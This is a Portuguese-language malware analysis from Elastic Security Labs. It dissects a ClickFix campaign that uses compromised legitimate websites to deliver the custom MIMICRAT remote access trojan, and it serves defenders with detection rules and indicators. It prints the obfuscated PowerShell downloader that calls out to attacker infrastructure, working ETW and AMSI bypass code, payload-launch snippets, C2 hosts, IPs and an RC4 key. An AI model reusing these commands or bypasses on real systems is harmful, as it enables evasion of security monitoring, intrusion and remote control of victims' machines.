Salim Bitam

MIMICRAT: Campanha ClickFix implementa RAT personalizado por meio de sites legítimos comprometidos.

A Elastic Security Labs descobriu uma campanha do ClickFix que utilizava sites legítimos comprometidos para distribuir uma cadeia de cinco estágios que culminava no MIMICRAT, um RAT nativo personalizado em C com C2 maleável, roubo de tokens e tunelamento SOCKS5.

7 min de leituraAnálise de malware
MIMICRAT: Campanha ClickFix implementa RAT personalizado por meio de sites legítimos comprometidos.

Introdução

Durante uma investigação recente, a Elastic Security Labs identificou uma campanha ativa do ClickFix que comprometia vários sites legítimos para distribuir uma cadeia de malware de múltiplas etapas. Ao contrário das implementações mais simples do ClickFix, que terminam em programas genéricos de roubo de informações, esta campanha termina com um poderoso trojan de acesso remoto (RAT) personalizado que chamamos de MIMICRAT: um implante nativo em C com perfis C2 maleáveis, representação de token, tunelamento SOCKS5 e uma tabela de despacho de 22 comandos.

A campanha demonstra um alto nível de sofisticação operacional: sites comprometidos abrangendo vários setores e geografias servem como infraestrutura de entrega, uma cadeia PowerShell de vários estágios realiza bypass de ETW e AMSI antes de instalar um carregador de shellcode com script Lua, e o implante final se comunica via HTTPS na porta 443 usando perfis HTTP que se assemelham ao tráfego legítimo de análise da web.

Principais conclusões

  • Diversos sites legítimos foram comprometidos para executar uma cadeia de ataque de cinco etapas.
  • O carregador Lua executa shellcode embutido.
  • MIMICRAT é um RAT nativo em C++ personalizado com perfis C2 maleáveis, roubo de tokens do Windows e proxy SOCKS5.

Descoberta

A Elastic Security Labs identificou esta campanha pela primeira vez no início de fevereiro 2026 através da telemetria do endpoint sinalizando a execução suspeita do PowerShell com argumentos de linha de comando ofuscados.

Dada a novidade da carga final, divulgamos publicamente os indicadores iniciais através das redes sociais em 11 de fevereiro, 2026 para garantir que a comunidade de segurança em geral pudesse começar a procurar e a defender-se contra esta ameaça enquanto a nossa análise completa estava em curso. A campanha permanece ativa até a data desta publicação.

Pesquisadores da Huntress documentaram campanhas relacionadas ao ClickFix usando infraestrutura e técnicas semelhantes, o que indica a abrangência das operações desse agente de ameaças em múltiplas campanhas paralelas.

Entrega da campanha

A execução da campanha depende inteiramente da invasão de sites legítimos e confiáveis, em vez da infraestrutura pertencente ao atacante. O ponto de entrada para as vítimas é bincheck[.]io, Um serviço legítimo de validação do Número de Identificação Bancária (BIN). O agente da ameaça comprometeu este site e injetou um trecho malicioso de JavaScript que carrega dinamicamente um script externo hospedado em https://www.investonline[.]in/js/jq.php, um segundo site comprometido, uma plataforma legítima de investimento em fundos mútuos indianos (Abchlor Investments Pvt. Ltd.). O script externo recebe um nome que simula a biblioteca jQuery, integrando-se aos recursos já existentes na página.

É este script carregado remotamente (jq.php) que fornece a isca ClickFix: uma página de verificação Cloudflare falsa instruindo a vítima a colar e executar manualmente um comando para "corrigir" um problema. A isca copia um comando PowerShell malicioso diretamente para a área de transferência da vítima e solicita que ela abra uma caixa de diálogo Executar (Win+R) ou prompt do PowerShell e cole o comando. Essa técnica contorna completamente as proteções de download baseadas em navegador, já que nenhum arquivo é baixado.

Essa estratégia de comprometimento multidimensional depende de um site voltado para a vítima carregar um script malicioso a partir de um segundo site comprometido, distribuindo o risco de detecção e aumentando a legitimidade percebida da isca tanto para os usuários quanto para as ferramentas de segurança automatizadas. A campanha suporta 17 idiomas, com o conteúdo de isca sendo localizado dinamicamente com base nas configurações de idioma do navegador da vítima para ampliar seu alcance efetivo. As vítimas identificadas estão localizadas em diversas regiões geográficas, incluindo uma universidade nos EUA e vários usuários de língua chinesa documentados em discussões em fóruns públicos, o que sugere uma ampla seleção de alvos oportunistas.

A seguir, apresentamos a lista de idiomas suportados pelo ClickFix:

  • Inglês
  • Chinês
  • Russo
  • Espanhol
  • Francês
  • Alemão
  • Português
  • Japonês
  • Coreano
  • Italiano
  • turco
  • Polonês
  • Holandês
  • vietnamita
  • árabe
  • hindi
  • indonésio

Análise de código

Assim que a vítima executa o comando da área de transferência, a campanha se desenrola em cinco etapas distintas: um downloader PowerShell ofuscado contata o servidor de comando e controle (C2) para obter um script de segunda etapa que modifica o registro de eventos do Windows (ETW) e a verificação antivírus (AMSI) antes de instalar um carregador baseado em Lua; o carregador descriptografa e executa o shellcode inteiramente na memória; e o shellcode finalmente instala o MIMICRAT, um RAT (Trojan de Acesso Remoto) capaz, projetado para acesso persistente e movimentação lateral.

Estágio 1 Comando de uma linha do PowerShell

O comando transferido da área de transferência é um comando PowerShell compacto e ofuscado de uma única linha:

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

O comando usa fatiamento de strings e operações de índice aritmético em uma única string inicial (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) para reconstruir o domínio de destino e o mecanismo de invocação em tempo de execução, evitando qualquer representação em texto simples do domínio C2 ou nomes de cmdlets do PowerShell na carga útil inicial. A janela está minimizada (-WInDo Min). O domínio extraído é xMRi.neTwOrk, que resolve para 45.13.212.250 e baixa um script PowerShell de segundo estágio.

A infraestrutura que gira em torno de 45.13.212.250 por meio de relações do VirusTotal revelou um segundo domínio, WexMrI.CC, resolvendo para o mesmo IP. Ambos os domínios compartilham o mesmo padrão de ofuscação de formatação com letras maiúsculas e minúsculas misturadas.

Estágio 2 Script PowerShell ofuscado

O script PowerShell da segunda etapa, que foi baixado, é significativamente mais elaborado. Todas as strings são construídas em tempo de execução, resolvendo expressões aritméticas em caracteres ASCII:

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

Essa técnica torna o script opaco à análise estática e à detecção baseada em assinaturas, mantendo-o totalmente funcional em tempo de execução. Uma declaração de classe fictícia é incluída como isca e
O script executa quatro operações sequenciais:

ETW Bypass

O script acessa o campo interno m_enabled da classe System.Diagnostics.Eventing.EventProvider por meio de reflexão e altera seu valor para 0, desativando efetivamente o rastreamento de eventos para Windows e impedindo o registro de bloco de script do PowerShell.

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

Desvio AMSI

O script usa então reflexão para acessar System.Management.Automation.AmsiUtils e define o campo amsiInitFailed como $true, fazendo com que o PowerShell ignore toda a verificação de conteúdo AMSI pelo restante da sessão.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - Correção de memória

O script realiza a correção do identificador do método em tempo de execução por meio de Marshal.Copy em uma etapa adicional, porém menos comum, de evasão de defesa, sobrescrevendo ponteiros de método na memória para redirecionar a execução para longe dos caminhos de código monitorados. Isso direciona a função ScanContent sob System.Management.Automation.AmsiUtils para um método generate vazio.

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

Entrega de carga útil

Com o registro de eventos e a verificação de antivírus desativados, o script decodifica um arquivo ZIP codificado em base64, extrai-o para um diretório com nome aleatório em %ProgramData%/knz_{random} e executa o binário contido zbuild.exe. Os artefatos temporários são removidos após a execução.

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

Carregador Lua de estágio 3

O arquivo binário gerado é um carregador Lua 5.4.7 personalizado. Ele incorpora um interpretador Lua estaticamente.
O binário descriptografa um script Lua incorporado usando um stub XOR em tempo de execução e, em seguida, o executa. A rotina de decriptação XOR (fxh::utility::lua_script_xor_decrypt) itera sobre o buffer criptografado aplicando XOR em cada byte contra uma chave.

O script Lua implementa um decodificador Base64 personalizado com um alfabeto não padrão para decodificar um shellcode embutido. O shellcode decodificado é então alocado na memória executável através de luaalloc, copiado para essa memória com luacpy e finalmente executado através de luaexe, conseguindo a execução de shellcode totalmente em memória e sem arquivos.

Shellcode de estágio 4

O shellcode apresentou correspondência com assinaturas relacionadas ao Meterpreter, sugerindo que o estágio do shellcode é um carregador consistente com a família de código Meterpreter para carregar o MIMICRAT na memória de forma reflexiva.

Estágio 5 MIMICRAT

A carga útil final com metadados de compilação definidos para janeiro 29 2026 é um PE MSVC x64 nativo compilado com o linker do Microsoft Visual Studio versão 14.44. Não corresponde exatamente a nenhum framework C2 de código aberto conhecido, implementando seus próprios perfis C2 HTTP maleáveis com despacho de comandos baseado em caracteres ASCII e uma arquitetura personalizada.

Configuração e comunicação C2

A configuração do MIMICRAT é armazenada na seção .data . Contém chaves criptográficas, parâmetros de conexão e dois perfis completos de comunicação HTTP. Todas as strings de cabeçalho e URIs são codificadas em ASCII hexadecimal e decodificadas em tempo de execução.

O C2 opera via HTTPS na porta 443 com um intervalo de retorno de chamada de 10 segundos. O nome do host do servidor C2 (d15mawx0xveem1.cloudfront.net) está criptografado com RC4 usando a seguinte chave RC4 @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5.

O implante utiliza HTTPS para comunicação com um esquema de criptografia em camadas: uma chave pública RSA-1024 incorporada lida com a troca assimétrica de chaves de sessão.

Embora o AES seja usado para criptografia simétrica do tráfego C2, ele usa um IV fixo abcdefghijklmnop e uma chave calculada em tempo de execução que deriva de um valor de hash SHA-256 de um valor alfanumérico gerado aleatoriamente, por exemplo, 9ZQs0p0gfpOj3Y02.

A seguir, apresentamos o perfil utilizado pelo exemplo para solicitações POST e GET:

Perfil HTTP GET: Check-in e atribuição de tarefas
ComponenteValue
Uri/intake/organizations/events?channel=app
Agente do usuárioMozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045
Referência[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)
Aceitar idiomazh-CN,zh;q=0.9
da webAFUAK, BLA, HFK
Perfil HTTP POST: exfiltração de dados
ComponenteValue
Uri/discover/pcversion/metrics?clientver=ds
Referência[https://gsov.google.com/](https://gsov.google.com/)
da webARCHUID, BRCHD, ZRCHUSR

Despacho de Comando

O MIMICRAT implementa um total de 22 comandos distintos para fornecer capacidades de pós-exploração, como controle de processos e sistemas de arquivos, acesso interativo ao shell, manipulação de tokens, injeção de shellcode e tunelamento de proxy SOCKS. O intervalo e a variação do sinal (jitter) do beacon podem ser configurados pelo operador em tempo de execução por meio de comandos específicos. Segue abaixo uma tabela resumida de todos os comandos implementados:

ID do comandoFunçãoDescrição
3SaídaEncerra o processo de implante.
4Defina o intervalo do sinalizador.Configura a duração do sono e a variação de tempo (jitter).
5Alterar diretórioAltera o diretório de trabalho atual.
10Arquivo de gravaçãoGrava em disco uma carga útil fornecida pelo C2 (sobrescreve).
11Leia o arquivoLê um arquivo do disco e exfiltra o conteúdo para o C2.
12Processo de desovaInicia um processo usando um token roubado, se disponível, e, caso contrário, recorre à execução padrão.
28Reverter representaçãoReverte a representação do token e limpa o estado do token.
31Roubar fichaDuplica o token de segurança de um processo alvo pelo PID.
32Listar processosEnumera os processos em execução com PID, PPID, usuário, domínio e arquitetura.
33Encerrar (kill) processoEncerra um processo por meio de PID
39Obter diretório atualRetorna o diretório de trabalho atual para C2.
53Listar arquivosLista arquivos e diretórios com data e hora e tamanhos.
54Criar diretórioCria um diretório no disco.
55Liste os drivesEnumera as unidades lógicas
56Excluir arquivo/diretórioExclui um arquivo ou remove um diretório.
67Anexar ao arquivoAnexa os dados fornecidos por C2 a um arquivo existente.
73Copiar arquivoCopia um arquivo da origem para o destino.
74Mover/renomear arquivoMove ou renomeia um arquivo.
78Concha interativaAbre um shell CMD interativo persistente através de um pipe.
100Injetar shellcodeInjeção de shellcode reflexivo
101MEIASConfigura ou desativa o canal proxy SOCKS.
102proxy SOCKSCompartilha o mesmo manipulador com o comando 101; provavelmente um comando de espaço reservado.

Infraestrutura

A infraestrutura de rede da campanha se divide em dois grupos principais:

Cluster A — Entrega inicial da carga útil (45.13.212.251 / 45.13.212.250)

Vários domínios apontam para este intervalo de IP, incluindo xMRi.neTwOrk e WexMrI.CC. A nomenclatura de domínio utiliza ofuscação com letras maiúsculas e minúsculas misturadas. Essa infraestrutura serve de base para o script PowerShell da segunda etapa e para o arquivo ZIP da carga útil incorporada.

Cluster B Pós-Exploração C2 (23.227.202.114)

Associado a www.ndibstersoft[.]com e observado em comunicações de beacon do arquivo descartado. Isso representa o canal C2 pós-exploração do operador.

Relé CloudFront C2
d15mawx0xveem1.cloudfront[.]net Está confirmado como parte da infraestrutura C2 do MIMICRAT. As relações VT para a amostra rgen.zip mostram que ela contata este domínio CloudFront usando o mesmo padrão de URI /intake/organizations/events?channel=app identificado no perfil GET do MIMICRAT, confirmando que ela atua como um servidor de retransmissão C2 para o servidor de backend.

Infraestrutura de entrega

Dois sites legítimos comprometidos formam a cadeia de distribuição:

  • bincheck.io — Ponto de entrada voltado para a vítima; comprometido para carregar o script malicioso externo
  • investonline.in — hospeda o payload JavaScript do ClickFix (/js/jq.php) disfarçado de jQuery; este script renderiza a isca e entrega o PowerShell da área de transferência

Malware e MITRE ATT&CK**

A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que ameaças persistentes avançadas usam contra redes corporativas.

Táticas

As táticas representam o porquê de uma técnica ou subtécnica. É o objetivo tático do adversário: a razão para executar uma ação.

Técnicas

Técnicas representam como um adversário atinge um objetivo tático executando uma ação.

Mitigações

Detecção

As seguintes regras de detecção e eventos de prevenção de comportamento foram observados durante a análise deste conjunto de intrusão:

YARA

A Elastic Security criou regras YARA para identificar essa atividade. Abaixo estão as regras YARA para identificar o MimicRat:

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

Observações

Todos os observáveis também estão disponíveis para download nos formatos ECS e STIX em um pacote zip combinado.

Os seguintes observáveis foram discutidos nesta pesquisa.

ObservávelTipoNomeReferência
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1SHA-256Carga útil do PowerShell do estágio 1
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51SHA-256Carregador Lua
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4bSHA-256Sinalizador MIMICRAT
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28bebSHA-256Exemplo de farol relacionado
45.13.212.251Propriedade IntelectualInfraestrutura de entrega de carga útil
45.13.212.250Propriedade IntelectualInfraestrutura de entrega de carga útil
23.227.202.114Propriedade IntelectualC2 pós-exploração
xmri.networkDomínioEtapa 1 C2 / entrega de carga útil
wexmri.ccDomínioEstágio 1 C2 alternativo
www.ndibstersoft[.]comDomínioC2 pós-exploração
d15mawx0xveem1.cloudfront[.]netDomínioC2 pós-exploração
www.investonline.in/js/jq.phpURLHost de payload JS malicioso (comprometido)
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zipURLEntrega de carga útil

Compartilhe este artigo